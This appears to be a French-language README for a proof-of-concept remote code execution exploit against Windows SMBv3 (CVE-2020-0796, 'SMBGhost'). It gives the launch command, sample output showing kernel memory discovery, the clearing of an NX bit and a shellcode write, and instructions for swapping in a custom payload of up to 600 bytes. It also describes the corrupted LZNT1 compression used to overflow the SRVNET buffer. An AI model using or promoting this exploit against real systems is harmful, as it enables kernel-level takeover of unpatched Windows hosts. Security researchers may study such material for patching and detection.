
Preuve de concept d'exploit d'exécution de code à distance pour CVE-2020-0796 (SMBGhost) ciblant Windows SMBv3. Comprend l'injection de shellcode noyau via la manipulation du tas et la corruption de la compression LZNT1.
PoC RCE pour CVE-2020-0796 "SMBGhost"
Pour démonstration uniquement ! Utilisez-le seulement comme référence. Sérieusement. Ceci n'a pas été testé en dehors de mon environnement de laboratoire. Il a été écrit rapidement et nécessite quelques améliorations pour être plus fiable. Parfois, vous obtenez un BSOD. Utiliser ceci à d'autres fins que l'auto-éducation est une très mauvaise idée. Votre ordinateur prendra feu. Des chiots mourront.
Maintenant que c'est dit…
Exemple d'utilisation :
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
Remplacez le payload dans USER_PAYLOAD dans exploit.py. Maximum 600 octets. Si vous en voulez plus, modifiez le code du noyau vous-même.
Code lznt1 provenant d'ici. Modifié pour ajouter une fonction de « mauvaise compression » afin de corrompre l'en-tête du tampon SRVNET sans provoquer de plantage.